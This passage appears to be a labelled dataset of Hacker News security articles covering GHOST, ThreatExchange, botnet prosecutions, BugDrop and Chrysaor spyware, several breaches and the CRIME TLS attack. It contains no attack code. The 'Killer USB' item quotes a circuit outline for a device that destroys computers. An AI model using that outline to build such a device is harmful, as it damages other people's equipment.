A good thief can hack into your personal data given enough time, we estimate that may mean a full working day of hacking.

",Vulnerability
Critical GHOST vulnerability affects most Linux Systems,https://thehackernews.com/2015/01/ghost-linux-security-vulnerability27.html,"A highly critical vulnerability has been unearthed in the GNU C Library (glibc), a widely used component of most Linux distributions, that could allow attackers to execute malicious code on servers and remotely gain control of Linux machines.

The vulnerability, dubbed ""GHOST"" and assigned CVE-2015-0235, was discovered and disclosed by the security researchers from Redwood Shores, California-based security firm Qualys on Tuesday.

CRITICAL AS HEARTBLEED AND SHELLSHOCK
GHOST is considered to be critical because hackers could exploit it to silently gain complete control of a targeted Linux system without having any prior knowledge of system credentials (i.e. administrative passwords).

Also Read: Top Best Password Managers.

The flaw represents an immense Internet threat, in some ways similar to the Heartbleed, Shellshock and Poodle bugs that came to light last year.

WHY GHOST ?
The vulnerability in the GNU C Library (glibc) is dubbed GHOST because it can be triggered by the library's gethostbyname family of functions. Glibc is a repository of open-source software written in the C and C++ coding languages that defines system calls.

The problem actual originates from a heap-based buffer overflow found in the __nss_hostname_digits_dots() function in glibc. This function is especially invoked by the _gethostbyname and gethostbyname2() function calls.

According to the researchers, a remote attacker has ability to call either of these functions which could allow them to exploit the vulnerability in an effort to execute arbitrary code with the permissions of the user running the application.

EXPLOIT CODE
In an attempt to highlight the severity of the risk, security researchers were able to write proof-of-concept exploit code that is capable to carry out a full-fledged remote code execution attack against the Exim mail server.

Also Read: Deep Web Search Engines.

The researcher's exploit able to bypass all existing exploit protections (like ASLR, PIE and NX) available on both 32-bit and 64-bit systems, including position independent executions, address space layout randomization and no execute protections.

Using the exploit, an attacker is able to craft malicious emails that could automatically compromise a vulnerable server without the email even being opened, according to Amol Sarwate, director of engineering with Qualys.

So far, the company has not published the exploit code to the public but eventually it plans to make the exploit available as a Metasploit module.

VERSIONS AFFECTED
The vulnerability affects versions of glibc as far back as glibc-2.2, which was released in 2000.
""Unfortunately, it was not recognized as a security threat; as a result, most stable and long-term-support distributions were left exposed (and still are): Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7, Ubuntu 12.04, for example,"" researchers from Qualys said in an advisory published Tuesday.
FIXES AVAILABLE FOR SOME LINUX DISTRIBUTIONS
However, major distributors of the Linux operating system, including Red Hat, Debian and Ubuntu, updated their software on Tuesday to thwart the serious cyber threat. In order to update systems, core functions or the entire affected server reboot is required.

Red Hat, the No. 1 provider of Linux software to businesses, recommends its customers to update their systems ""as soon as possible to mitigate any potential risk.""

",Vulnerability
Facebook launches ThreatExchange for Sharing Cyber Security Threats,https://thehackernews.com/2015/02/facebook-threatexchange-cyber-security.html,"Social Networking giant Facebook has just launched a new platform called ThreatExchange, which is designed to mount a coordinated defense against cybercrime.

Many security professionals rely largely on manual methods for collecting, analyzing, and consuming information about latest cyber security threats such as malware and botnets.

Whereas, Mark Zuckerberg's ThreatExchange is a unique social media platform where multiple organizations can sign up and share information about new threats to cyber security, new types of hacks, phishing attacks and malicious activities they may have experienced.

COLLABORATE AND TAKE ACTION
Facebook is currently using a threat analysis framework called ""ThreatData"" to discover and tackle scams and cybercrimes, but with the growth in the magnitude of cyber attacks, Facebook believes that better communication between companies could help stamp them out.
""We quickly learned that sharing with one another was key to beating the botnet because parts of it were hosted on our respective services and none of us had the complete picture,"" Mark Hammell said, manager of the Facebook threat infrastructure.
Several high-profile companies have joined ThreatExchange dedicated platform for sharing information about hacking attacks or cyber security threats with one another, including Bitly, Dropbox, Pinterest, Tumblr, Twitter and Yahoo.

ThreatExchange data includes typically freely available information such as domain names sending out spam, or examples of malware. However, Facebook has also built privacy tools into the system, so that security professionals can decide what they want to share and with whom, without worrying about disclosing sensitive information.
""This approach makes it easier for an organization that may want to share data that needs to be handled with extra sensitivity,"" Facebook said. As an example, If Facebook reels under a botnet attack, it can let others know what to do in order to protect themselves.
Armed with real-time and detailed information on emerging cyber security threats, ThreatExchange platform would allow everyone to update their defenses to avoid becoming a victim of any kind of online threats.

Currently, ThreatExchange is only available in beta and interested participants can fill out a form on Facebook's site in order to be a part of this initiative.

",Malware
Russian Hackers charged for stealing 160 million Credit Cards,https://thehackernews.com/2013/07/russian-hackers-charged-for-stealing.html,"A Group of Hackers, Four Russians and a Ukrainian allegedly broke computer networks of more than a dozen major American and international corporations and stole 160 million credit card numbers over the course of seven years, the largest data theft case ever prosecuted in the U.S.
They are accused of stealing usernames and passwords, personal identification information, and credit and debit card numbers. After stealing data, they sold it to resellers, who then sold it through online forums or to individuals and organizations.

Since at least 2007, officials said the hackers have been infiltrating computer networks across the globe, including firms in New Jersey, where the first breach was detected. The group would then allegedly install ""sniffers"" within the networks to automatically obtain electronic data from tens of thousands of credit cards.

The network allegedly charged $10 for American credit card information, $50 for European information and $15 for Canadian data.

The defendants were identified as Russian Vladimir Drinkman, Aleksander Kalinin, Roman Kotov and Dmitriy Smilianets, and Ukrainian Mikhail Rytikov.

All five are charged with taking part in a computer hacking conspiracy and conspiracy to commit wire fraud. The four Russian nationals are also charged with multiple counts of unauthorized computer access and wire fraud.

An attack on Global Payment Systems that begin in about January 2011 resulted in the theft of more than 950,000 cards and losses of about $93 million, according to the indictment.

",Malware
"Malware Hijacks Microphones to Spy On Ukrainian Businesses, Scientists and Media",https://thehackernews.com/2017/02/ukraine-russia-hacking_20.html,"Ukraine has once again been a target of a potential hacking attack that infected computer systems from dozens of Ukrainian businesses with highly sophisticated malware, allowing hackers to exfiltrate sensitive data and eavesdrop on their network.

Late last year, the country also suffered a power outage caused by the same group of hackers that targeted Ukraine's power grid with the BlackEnergy malware in late 2015, causing 225,000 residents to lose electricity.

Now security researchers from threat intelligence firm CyberX have uncovered an advanced malware-based operation that has already siphoned over 600 gigabytes of data from about 70 victim organizations, including critical infrastructure, news media, and scientific research.

Operation BugDrop: Damages and Modus Operandi

Dubbed ""Operation BugDrop,"" the large-scale malware campaign has been perpetrated against targets in the Ukraine, though targets from other countries include Russia, Saudi Arabia, and Austria.

CyberX researchers did not identify the clandestine hacking collective but said Operation BugDrop was believed to be the work of highly skilled, government-backed nation-state hackers with nearly limitless resources.
""Operation BugDrop is a well-organized operation that employs sophisticated malware and appears to be backed by an organization with substantial resources,"" reads the CyberX blog post published Wednesday.
""In particular, the operation requires a massive back-end infrastructure to store, decrypt, and analyze several GB per day of unstructured data that is being captured from its targets. A large team of human analysts is also required to manually sort through captured data and process it manually and/or with Big Data-like analytics.""
Here's What the Malware Does:

Operation BugDrop uses sophisticated malware that has been designed to infiltrate the victim's computer and capture screen shots, documents, and passwords, and turn on the PC's microphone to capture audio recordings of all conversations.

The mysterious hacking group infects victims using malicious Microsoft Word documents sent in phishing emails. Once infected, the compromised PCs send the pilfered audio and data to Dropbox, where the hackers retrieve it.

Since the malware uses PC microphones to bug targets and then send the audio and other data files to Dropbox, the researchers have dubbed the malware campaign Operation BugDrop.

Here's How BugDrop Work:
The hackers spread the malware through phishing emails containing Microsoft Office file attachments that include malicious macros embedded in it.

Once the targets open the malware-laden Word document, the hidden, malicious Visual Basic scripts start running in a temporary folder in the background.

The main module of BugDrop downloads the various data-stealing plugins to infected machines and executes them. All the stolen data the malware collects is then uploaded to Dropbox.

Although BugDrop has mainly been designed to record audio files, the malware can also steal the documents, password and other sensitive data from the computer's browsers.

Techniques BugDrop Use to Avoid Detection:

The main malware downloader has low detection rates as:

The malware makes the audio data look like legitimate outgoing traffic.
BugDrop encrypts the DLLs that are installed to avoid detection by traditional anti-virus and sandboxing systems.
The malware uses public cloud service Dropbox.

BugDrop also uses Reflective DLL (Dynamic Link Library) Injection, a malware injection technique that had also been leveraged by the BlackEnergy malware used in the Ukrainian power grid attacks and the Duqu malware in the Stuxnet attacks on Iranian nuclear facilities.

Reflective DLL Injection is used to load malicious code and effectively sidestep security verification procedures without calling the standard Windows API.

Targets of BugDrop:

The malware has targeted a wide range of industries including critical infrastructures, research centers in Ukraine and media organizations.

According to CyberX, BugDrop's primary target has been Ukraine, but it has also been traced to other parts of Russia, Saudi Arabia, and Austria.

Operation BugDrop targets identified by the CyberX researchers so far include:
A firm that designs remote monitoring systems for oil and gas pipeline infrastructures.
An engineering firm that designs electrical substations, water supply plants and gas distribution pipelines.
An international organization that monitors counter-terrorism, human rights, and cyber attacks on critical infrastructure in the Ukraine.
A scientific research institute.
Editors of Ukrainian newspapers.
While concluding the report, CyberX said both private and public sector organizations need to be more vigilant in monitoring their networks and applying more modern technologies like behavioral analytics to identify and quickly respond to these increasingly sophisticated cyber attacks.

",Cyber_Attack
Researchers Link CryptoCore Attacks On Cryptocurrency Exchanges to North Korea,https://thehackernews.com/2021/05/researchers-link-cryptocore-attacks-on.html,"State-sponsored hackers affiliated with North Korea have been behind a slew of attacks on cryptocurrency exchanges over the past three years, new evidence has revealed.
Attributing the attack with ""medium-high"" likelihood to the Lazarus Group (aka APT38 or Hidden Cobra), researchers from Israeli cybersecurity firm ClearSky said the campaign, dubbed ""CryptoCore,"" targeted crypto exchanges in Israel, Japan, Europe, and the U.S., resulting in the theft of millions of dollars worth of virtual currencies.
The findings are a consequence of piecing together artifacts from a series of isolated but similar reports detailed by F-Secure, Japanese CERT JPCERT/CC, and NTT Security over the past few months.
Since emerging on the scene in 2009, Hidden Cobra actors have used their offensive cyber capabilities to carry out espionage and cyber cryptocurrency heists against businesses and critical infrastructure. The adversary's targeting aligns with North Korean economic and geopolitical interests, which are primarily motivated by financial gain as a means to circumvent international sanctions. In recent years, Lazarus Group has further expanded its attacks to target the defense and aerospace industries.
CryptoCore, also called CryptoMimic, Dangerous Password, CageyChameleon, and Leery Turtle, is no different from other Lazarus Group operations in that it's primarily focused on the theft of cryptocurrency wallets.
Believed to have commenced in 2018, the campaign's modus operandi involves leveraging spear-phishing as an intrusion route to get hold of the victim's password manager account, using it to plunder the wallet keys and transfer the currencies to an attacker-owned wallet.
The group is said to have stolen an estimated $200 million, according to a ClearSky report published in June 2020, which linked CryptoCore to five victims located in the U.S., Japan, and the Middle East. In connecting the dots, the latest research shows that the operations have been more widespread than previously documented, while simultaneously evolving several parts of its attack vector.
A comparison of the indicators of compromise (IoCs) from the four public disclosures not only found enough behavioral and code-level overlaps, but has also raised the possibility that each of the reports touched upon different aspects of what appears to be a large-scale attack.
In addition, ClearSky said it reaffirmed the attribution by comparing the malware deployed in the CryptoCore campaign to other Lazarus campaigns and found strong similarities.
""This group has successfully hacked into numerous companies and organizations around the world for many years,"" ClearSky researchers said. ""Until recently this group was not known to attack Israeli targets.""

",Malware
Russian Hacker Pleads Guilty to Operating Kelihos Botnet,https://thehackernews.com/2018/09/kelihos-botnet-Peter-Severa.html,"The Russian man who was accused of operating the infamous Kelihos botnet has finally pleaded guilty in a U.S. federal court.

Peter Yuryevich Levashov, 38, of St. Petersburg, Russia, pleaded guilty on Wednesday in U.S. federal court in Connecticut to computer crime, wire fraud, conspiracy and identity theft charges.

Levashov, also known by many online aliases including Peter Severa, Petr Levashov, Petr Severa and Sergey Astakhov, has admitted of operating several botnets, including the Storm, Waledac and Kelihos botnets, since the late 1990s until he was arrested in April 2017.

Kelihos botnet, dated back to 2010, was a global network of tens of thousands of infected computers that were used to steal login credentials, send bulk spam emails, and infect computers with ransomware and other malware.

Russian Hacker Infects 50,000 Computers With Kelihos Botnet

Storm and Waledac botnets also shared Kelihos code, but kelihos was the most notorious botnet of all that alone infected more than 50,000 computers worldwide.

""Levashov controlled and operated multiple botnets, including the Storm, Waledac and Kelihos botnets, to harvest personal information and means of identification (including email addresses, usernames and logins, and passwords) from infected computers,"" the DoJ said in a press release.

All the three botnets reportedly generated hundreds of millions of dollars for cybercriminals.

As The Hacker News has previously reported, Levashov has also been listed in the World's Top 10 Worst Spammers maintained by anti-spam group Spamhaus, which gave him the 7th position in the list, at that time.

While initially it was speculated that Levashov was involved in 2016 U.S. election hacking, the DoJ indictment unsealed last year after his arrest in Spain made it clear that the suspect was arrested due to his involvement in the Kelihos botnet and spamming targets for trying and forcing them to buy worthless stock.

Levashov was arrested in Barcelona in 2017 where he was vacationing with his family after an international arrest warrant was issued against him by the United States. Right after his arrest, the Kelihos botnet was shut down by the federal authorities.

While Russia filed an extradition request in September last year, Spanish authorities extradited Levashov on the United States' request in February 2018.

Since Levashov has previously worked with for Vladimir Putin's United Russia Party for ten years, at the time of his arrest, he feared that the US authorities would torture him for information about his political work if extradited to the U.S. to face charges.

Levashov on Wednesday pleaded guilty in U.S. District Court in Hartford, Connecticut, to a total of four counts, as follows:


1 count of causing intentional damage to a protected computer
1 count of conspiracy
1 count of aggravated identity theft
1 count of wire fraud


Levashov is due to be sentenced on September 6, 2019, and will remain in custody until this date.


",Cyber_Attack
Google just discovered a dangerous Android Spyware that went undetected for 3 Years,https://thehackernews.com/2017/04/spy-app-for-android.html,"An Android version of one of the most sophisticated mobile spyware has been discovered that remained undetected for at least three years due to its smart self-destruction capabilities.

Dubbed Chrysaor, the Android spyware has been used in targeted attacks against activists and journalists mostly in Israel, but also in Georgia, Turkey, Mexico, the UAE and other countries.

Chrysaor espionage malware, uncovered by researchers at Lookout and Google, is believed to be created by the same Israeli surveillance firm NSO Group Technologies, who was behind the Pegasus iOS spyware initially detected in targeted attacks against human rights activists in the United Arab Emirates last year.

NSO Group Technologies is believed to produce the most advanced mobile spyware on the planet and sold them to governments, law enforcement agencies worldwide, as well as dictatorial regimes.

The newly discovered Chrysaor spyware has been found installed on fewer than three-dozen Android devices, although researchers believe that there were more victims before its detection, who most likely have either formatted or upgraded their phones.
""Although the applications were never available in Google Play, we immediately identified the scope of the problem by using Verify Apps,"" Google said in its own blog post published Monday.

""We've contacted the potentially affected users, disabled the applications on affected devices, and implemented changes in Verify Apps to protect all users.""
Just like Pegasus for iOS, the newly discovered Chrysaor for Android also offers a wide array of spying functions, including:
Exfiltrating data from popular apps including Gmail, WhatsApp, Skype, Facebook, Twitter, Viber, and Kakao.
Controlling device remotely from SMS-based commands.
Recording Live audio and video.
Keylogging and Screenshot capture.
Disabling of system updates to prevent vulnerability patching.
Spying on contacts, text messages, emails and browser history.
Self-destruct to evade detection
""If it feels like it's going to be found, it removes itself,"" said Lookout Security researcher Michael Flossman. ""That's why it took so long to find these samples.""
Researchers believe that Chrysaor APK has also been distributed via SMS-based phishing messages, just like Pegasus infection on iOS devices.

While Pegasus leveraged three then-zero day vulnerabilities in Apple's iOS operating system to jailbreak the targeted iOS devices, Chrysaor uses a well-known Android-rooting exploit called Framaroot to root the device and gain full control over the operating system.

Since Chrysaor dates back to 2014, there are possibilities that NSO group might have discovered zero-day vulnerabilities in Android and deployed them on the latest version of Chrysaor for Android, Lookout warned.

Lookout has also provided full, technical details on Chrysaor in its report [PDF] titled ""Pegasus for Android: Technical Analysis and Findings of Chrysaor."" So, you can head on to the link for a more detailed explanation on the malware.

How to Protect your Android device from Hackers? Google recommends users to install apps only from reputable sources, protect your device with pin or password lock, enable 'verify apps' feature from settings, and obviously, keep your device always up-to-date with the latest security patches.

",Malware
This 'Killer USB' can make your Computer explode,https://thehackernews.com/2015/03/killer-usb-explode-computer.html,"Can Hackers turn a remote computer into a bomb and explode it to kill someone, just like they do in hacker movies? Wait, wait! Before answering that, Let me tell you an interesting story about Killer USB drive:

A man walking in the subway stole a USB flash drive from the outer pocket of someone else's bag. The pendrive had ""128"" written on it. After coming home, he inserted the pendrive into his laptop and instead discovering any useful data, he burnt half of his laptop down. The man then took out the USB pendrive, replaced the text ""128"" with ""129"" and put it in the outer pocket of his bag… Amen!

I'm sure, you would really not imagine yourself being the 130th victim of this Killer perdrive, neither I.

This above story was told to a Russian researcher, nicknamed Dark Purple, who found the concept very interesting and developed his own computer-frying USB Killer pendrive.

He is working with electronic manufacturing company from where he ordered some circuit boards from China for creating his own USB killer stick.
""When we connect it up to the USB port, an inverting DC/DC converter runs and charges capacitors to -110V,"" the researcher explained. ""When the voltage is reached, the DC/DC is switched off. At the same time, the field transistor opens.""
At last, he successfully developed a well functioning USB killer pendrive which is able to effectively destroy sensitive components of a computer when plugged-in.
""It is used to apply the -110V to signal lines of the USB interface. When the voltage on capacitors increases to -7V, the transistor closes and the DC/DC starts. The loop runs till everything possible is broken down. Those familiar with the electronics have already guessed why we use negative voltage here.""
It is not possible for hardware to prevent all damage to physical systems in some scenarios. It may be possible for an attacker to exploit SCADA vulnerabilities and remove safety controls used by power plants or put it into an unstable state.
Stuxnet worm is one of the real example of such cyber attacks, which was designed to destroy centrifuges at the Nuclear facility and all this started from a USB drive.
Also in 2014, a security firm demonstrated an attack on Apple's Mac computer by overriding temperature controls, which can actually set the machine on fire.

So if we say that a computer could be converted into a bomb, then of course it's true, a hacker can probably make your computer explode as well.

Therefore, next time when you find an unknown USB flash drive, just beware before inserting it into your laptop. Because this time it will not fire up your important files or data stored on your laptop like what malwares do, instead it will fire up your Laptop.

",Vulnerability
Mumblehard Malware Targets Linux and FreeBSD Servers,https://thehackernews.com/2015/05/Mumblehard-Linux-Malware.html,"Thousands of computers and web servers running Linux and FreeBSD operating systems have been infected over past five years with sophisticated malware that turn the machines into spambots.

The new Linux malware, discovered by the security researchers from the antivirus provider Eset, has been dubbed ""Mumblehard"" because it is Muttering spam from your servers, says Eset 23-page long report (PDF) titled ""Unboxing Linux/Mumblehard.""

Researchers have logged more than 8,500 unique IP addresses during the seven months period of research that were hit by Mumblehard Linux malware and found over 3,000 machines joined them in the past three weeks.

Mumblehard features two basic components:
Backdoor
Spamming daemon
Both written in the Perl programming language and ""feature the same custom packer written in assembly language.""

The backdoor allows hackers to infiltrate into the system and control the command and control servers, and the Spamming daemon is a behind-the-scenes process that focuses on sending large batches of spam emails from the infected servers.

The most worrying part of this campaign:

The Mumblehard operators have been active for over five years, and perhaps even longer, without any disruption.
""Malware targeting Linux and [OpenBSD] servers [are] becoming more and more complex,"" Eset researchers wrote. ""The fact that the [malware creator] used a custom packer...is somewhat sophisticated.""
However, it isn't ""as complex as the Windigo Operation we documented in 2014. Nonetheless, it is worrying that the Mumblehard operators have been active for many years without disruption.""

Who is responsible for the spambot network?

The Mumblehard Linux malware actually exploits vulnerabilities in WordPress and Joomla content management systems in order to get into the servers.

Additionally, Mumblehard malware is also distributed by installing 'pirated' versions of a Linux and BSD program called DirectMailer, software developed by Yellsoft used for sending bulk e-mails and sold for $240 through the Russian firm's website.

So, when a user installs the pirated version of DirectMailer software, the Mumblehard operators gets a backdoor to the user's server that allows hackers to send spam messages.

How to prevent the threat?

Web server administrators should check their servers for Mumblehard infections by looking for the so-called unwanted cronjob entries added by the malware in an attempt to activate the backdoor every 15-minute increments.

The backdoor is generally located in the /var/tmp or /tmp folders. You can deactivate this backdoor by mounting the tmp directory with the noexec option.

",Malware
Two Zero-Day Exploits Found After Someone Uploaded 'Unarmed' PoC to VirusTotal,https://thehackernews.com/2018/07/windows-adobe-zero-exploit.html,"Security researchers at Microsoft have unveiled details of two critical and important zero-day vulnerabilities that had recently been discovered after someone uploaded a malicious PDF file to VirusTotal, and get patched before being used in the wild.

In late March, researchers at ESET found a malicious PDF file on VirusTotal, which they shared with the security team at Microsoft ""as a potential exploit for an unknown Windows kernel vulnerability.""

After analyzing the malicious PDF file, the Microsoft team found that the same file includes two different zero-day exploits—one for Adobe Acrobat and Reader, and the other targeting Microsoft Windows.

Since the patches for both the vulnerabilities were released in the second week of May, Microsoft released details of both the vulnerabilities today, after giving users enough time to update their vulnerable operating systems and Adobe software.

According to the researchers, the malicious PDF including both the zero-days exploit was in the early development stage, ""given the fact that the PDF itself did not deliver a malicious payload and appeared to be proof-of-concept (PoC) code.""

It seems someone who could have combined both the zero-days to build an extremely powerful cyber weapon had unintentionally and mistakenly lost the game by uploading his/her under-development exploit to VirusTotal.

The zero-day vulnerabilities in question are a remote code execution flaw in Adobe Acrobat and Reader (CVE-2018-4990) and a privilege escalation bug in Microsoft Windows (CVE-2018-8120).
""The first exploit attacks the Adobe JavaScript engine to run shellcode in the context of that module,"" Matt Oh, Security Engineer at Windows Defender ATP Research, says.
""The second exploit, which does not affect modern platforms like Windows 10, allows the shellcode to escape Adobe Reader sandbox and run with elevated privileges from Windows kernel memory.""
The Adobe Acrobat and Reader exploit was incorporated in a PDF document as a maliciously crafted JPEG 2000 image containing the JavaScript exploit code, which triggers a double-free vulnerability in the software to run shellcode.

Leveraging shellcode execution from the first vulnerability, the attacker uses the second Windows kernel exploit to break the Adobe Reader sandbox and run it with elevated privileges.

Since this malicious PDF sample was under development at the time of detection, it apparently included a simple PoC payload that dropped an empty vbs file in the Startup folder.
""Initially, ESET researchers discovered the PDF sample when it was uploaded to a public repository of malicious samples,"" ESET researchers concluded.
""The sample does not contain a final payload, which may suggest that it was caught during its early development stages. Even though the sample does not contain a real malicious final payload, the author(s) demonstrated a high level of skills in vulnerability discovery and exploit writing.""
Microsoft and Adobe have since released corresponding security updates for both the vulnerabilities in May. For more technical details of the exploits, you can head on to Microsoft and ESET blogs.

",Vulnerability
Over 300 Million AdultFriendFinder Accounts Exposed in Massive Data Breach,https://thehackernews.com/2016/11/adult-friend-finder-hack.html,"Adult Friend Finder, a casual dating website with the tagline ""hookup, find sex or meet someone hot now,"" has suffered another massive data breach, but this time it is much worse than the last year.

Over 300 Million AdultFriendFinder accounts have reportedly been exposed in a massive data breach that hit adult dating and entertainment company Friend Finder Network.

Friend Finder Network is the world's largest sex and swinger community that has a number of assets and the hack reportedly exposed the information from more than 412 Million accounts across its corporate holdings, which include AdultFriendFinder, Cams, Penthouse, and Stripshow.

412,214,295 User's Accounts on SALE!

Breach notification site LeakedSource broke the story, reporting that nearly 339 Million accounts from sex hookup site AdultFriendFinder, over 60 Million accounts from Cams.com, 7 Million from Penthouse and a handful of accounts from Stripshow and iCams were compromised, for a total of 412,214,295 affected users.
""Over 400 million accounts representing 20 years of customer data was compromised, which makes it by far the largest breach we have ever seen,"" said LeakedSource.

Poor Or No Encryption for Passwords

According to the breach notification service, the database containing email addresses, easily crackable (or in some cases, unprotected) passwords, usernames, IP addresses and browser information, of over 412 Million users has been made available to online criminal marketplaces.

LeakedSource further reveals that Friend Finder Network did not properly encrypt its users' data. The company stored user passwords in plainly visible format, or with the very poor Secure Hash Algorithm 1 (SHA1) hash function, which is not regarded as secure.

Talking about passwords, here are some common passwords that were used by Friend Finder Network users to log in to the websites: 123456, 123456789, password, qwerty, and pussy, fuckme, fuckyou and iloveyou.

Millions Of Deleted User Accounts Also Exposed

What's worse? If you are feeling relieved and thanking God that you already deleted your account on the adult website in the past and you are on the safer side, I am sorry to say that you too are in great trouble.

The leaked database also includes details of over 15 Million users who already had ""deleted"" their accounts, as well as users for assets the company no longer owned, like Penthouse.

In terms of cheating partners, the hack, which took place last month, is not as bad as last year's data breach that exposed secret sexual fantasies of over 3.5 Million cheating people.

On the other hand, the Ashley Madison data breach exposed the previous year also more sensitive than the latest one because the breach exposed confidential information like sexual preferences, fantasies, fetishes and others such data of around 32 Million users.

Here's How the Adult Network possibly got Hacked:

According to CSO Online, a security researcher using the online moniker, Revolver discovered Local File Inclusion vulnerabilities on the AdultFriendFinder website last month. The researcher believed that the same flaw was exploited to hack the adult network.

Friend Finder Network said the company was aware of the security incident and was looking into the matter to determine whether or not the claims were valid.
""We are aware of reports of a security incident, and we are currently investigating to determine the validity of the reports,"" Diana Lynn Ballou, Friend Finder Network's Vice President and Senior Counsel of Corporate Compliance & Litigation told CSO Online. ""If we confirm that a security incident did occur, we will work to address any issues and notify any customers that may be affected.""
So, the company neither confirmed nor denied the hack against its network, though admitted the company had recently received several reports of security problems.

Friend Finder Network has yet to offer additional details on the hack and why the company was still storing information of user's accounts deleted long ago.

",Data_Breaches
"Whoops, Turns Out 2.5 Million More Americans Were Affected By Equifax Breach",https://thehackernews.com/2017/10/equifax-credit-security-breach.html,"Equifax data breach was bigger than initially reported, exposing highly sensitive information of more Americans than previously revealed.

Credit rating agency Equifax says an additional 2.5 million U.S. consumers were also impacted by the massive data breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million.

Equifax last month announced that it had suffered a massive data breach that exposed highly sensitive data of hundreds of millions of its customers, which includes names, social security numbers, dates of birth and addresses.

In addition, credit card information for nearly 209,000 customers was also stolen, as well as certain documents with personally identifying information (PII) for approximately 182,000 Equifax consumers.

The breach was due to a critical vulnerability (CVE-2017-5638) in Apache Struts 2 framework, which Apache patched over two months earlier (on March 6) of the security incident.

Equifax was even informed by the US-CERT on March 8 to patch the flaw, but the company failed to identified or patched its systems against the issue, Equifax ex-CEO Richard Smith said in a statement [PDF] to the House Committee on Energy and Commerce.
""It appears that the breach occurred because of both human error and technology failures,"" Smith said. ""Equifax's information security department also ran scans that should have identified any systems that were vulnerable to the Apache Struts issue...Unfortunately, however, the scans did not identify the Apache Struts vulnerability.""
In the wake of the security incident, the company hired FireEye-owned security firm Mandiant to investigate the breach, which has now concluded the forensic portion of its investigation and plans to release the results ""promptly.""

Mandiant said a total of 145.5 million consumers might now potentially have been impacted by the breach, which is 2.5 million more than previously estimated. However, the firm did not identify any evidence of ""new attacker activity.""
""Mandiant did not identify any evidence of additional or new attacker activity or any access to new databases or tables,"" Equifax said in a Monday press release.
""Instead, this additional population of consumers was confirmed during Mandiant's completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.""
The forensic investigation also found that approximately 8,000 Canadian consumers were also impacted, which is much lower than the 100,000 initially estimated figure by the credit rating and reporting firm.

However, Equifax said that this figure ""was preliminary and did not materialize.""

""I want to apologize again to all impacted consumers. As this important phase of our work is now completed, we continue to take numerous steps to review and enhance our cybersecurity practices,"" newly appointed interim CEO, Paulino do Rego Barros, Jr. said.

""We also continue to work closely with our internal team and outside advisors to implement and accelerate long-term security improvements.""

Equifax, which maintains data on over 820 million consumers and over 91 million businesses worldwide, also said the company would update its own notification by October 8 for its customers who want to check if they were among those affected by the data breach.

",Data_Breaches
National program for Cyber army to be launched in India,https://thehackernews.com/2011/11/national-program-for-cyber-army-to-be.html,"National program for Cyber army to be launched in India

Increasing attacks on cyberspace in India has brought several professionals and experts from the Industry, in support with the Government of India to jointly form a national level program to identify credible and valuable information security experts. The program ""National Security Database"" is all set to launch this Saturday in Mumbai at a major Information security conference, MalCon. The database will include ethical hackers and programmers who can protect country's cyberspace. They will all be registered with the National Security Database, a brainchild of Information Sharing and Analysis Centre (ISAC), a non profit foundation which works closely with the Government on the issue of cyber security.

The need of such database originated after 2008 attacks in Mumbai when the cyber security professionals realised that a lot needed to be done in the area. ""It is observed that some or other form of electronic notification is usually sent before a major terrorist attack, followed by defacement of government web sites. Professional cyber security professionals can make a lot of difference in investigations and help in the entire episode,"" said Rajshekhar Murthy, director of ISAC. Issue of forming a credible repository of such cyber security professionals who can be trusted with sensitive information can be of use in case of an emergency, and was also raised in a conference held last year.

""After a lot of brainstorming and analysis the database is in place and will be flagged off on November 26 in Mumbai,"" said Murthy. As per estimates there are over a lakh cyber security experts and hackers in India who as of now function individually. Each one of them has a certain area of specialisation. ""They will be brought in to the NSD after a rigourous test which would test their skills. Also they would be made to undergo psychometric tests over and above the tasks that they would have to perform to test their personal skills. Once they clear all levels they would be empaneled in NSD program in applied areas of specialisation,"" added Murthy. Fraud investigation, web security, mobile security are some of the areas of specialisation in NSD.

The Database, which was secretly being worked on from last two years on invitation only basis has already a sizeable number of experts who have developed malwares and softwares to hack into devices like iPhone and XBox Kinect, which are slated for release at the malware conference MalCon. The database will come in handy each time country is under threat on cyberspace front. ""The next generation of attacks will not be only on ground but also on country's cyberspace,"" said Murthy citing the example of recent attack on some government computers after which the hackers released sensitive information pertaining to the miltary and communication between India and Moscow.

Companies like QuickHeal and Security Compass among others have already given support to the database and will be hiring security professionals with a direct final interview. ""Since NSD professionals will have to go through a tough eight hour lab exam, major companies have written in expressing their interest in hiring NSD empaneled professionals. While NSD does not award certification, we are glad about the support from the Industry"" stated Murthy.

The biggest challenge for NSD now is to reach both hackers and professionals and identify them with skills in existing areas of specialization.. ""We have already identified several accross the country. Their motivations is that once they are registered with NSD they not only get to upgrade their skills and knowledge but will also be of service to the country. We are collaborating with government agencies looking after cyber security, all of whom are looking forward to the NSD,"" said Murthy.

The program will be flagged off in the International Malware Conference, MALCON, scheduled to be held at JW Marriott on November 26. Sachin Pilot, Minister of State for Communication and Information Technology is also going to join the conference via video conference from Delhi. His office confirmed that Pilot would share his views on cyber security and extend their endorsement to the National Security Database. Officials from National Technical Research Organisation, a government body which looks at cyber security, too have shown keen interest in the NSD. ""It is great initiative which will be of use to the nation and will provide a databse of cyber security professionals,"" said an NTRO official refusing to be named.

",Malware
CRIME : New SSL/TLS attack for Hijacking HTTPS Sessions,https://thehackernews.com/2012/09/crime-new-ssltls-attack-for-hijacking.html,"Two security researchers claim to have developed a new attack that can decrypt session cookies from HTTPS (Hypertext Transfer Protocol Secure) connections. From the security researchers who created and demonstrated the BEAST (Browser Exploit Against SSL/TLS) tool for breaking SSL/TLS encryption comes another attack that exploits a flaw in a feature in all versions of TLS.

The new attack has been given the name CRIME by the researchers.The CRIME attack is based on a weak spot in a special feature in TLS 1.0, but exactly which that feature is has not been revealed by the researchers. They will say that all versions of TLS/SSL including TLS 1.2, on which the BEAST attack did not work are vulnerable.

Once they had the cookie, Rizzo and Duong could return to whatever site the user was visiting and log in using her credentials. HTTPS should prevent this type of session hijacking because it encrypts session cookies while in transit or when stored in the browser. But the new attack, devised by security researchers Juliano Rizzo and Thai Duong, is able to decrypt them.

The CRIME attack code, known as an agent, needs to be loaded inside the victim's browser. This can be done either by tricking the victim into visiting a rogue website or, if the attacker has control over the victim's network, by injecting the attack code into an existing HTTP connection.CRIME doesn't require browser plug-ins to work; JavaScript was used to make it faster, but it could also be implemented without it, Rizzo said.

